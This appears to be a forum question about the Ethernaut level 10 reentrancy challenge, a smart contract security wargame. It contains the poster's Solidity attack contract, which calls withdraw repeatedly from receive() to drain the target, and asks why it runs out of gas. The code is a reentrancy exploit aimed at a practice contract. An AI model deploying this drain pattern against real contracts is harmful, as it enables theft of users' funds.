I'm trying to solve Ethernaut level 10 reentrancy task, but I'm getting "out of gas" error.
https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D
This is my contract which I use for attacking:
contract attack {
Reentrance originalContract = Reentrance(0xf678057EB5c513313353543b44011c1fe5eecb66);
uint public amount = 0.0001 ether;
constructor() public payable {
}
function donateToSelf() public {
originalContract.donate{value: amount, gas: 400000}(address(this));
}
function start() public {
originalContract.withdraw{gas: 400000}(amount);
}
receive() external payable {
if (address(originalContract).balance != 0 ) {
originalContract.withdraw{gas: 400000}(amount);
}
}
}
I'm providing 0.0001 ether when deploying contract, then calling donateToSelf and then start()
So what I'm doing wrong? Call method in withdraw function doesn't have gas limit so why the transaction reverts? I also tried not specifying gas from my code, but the same thing was happening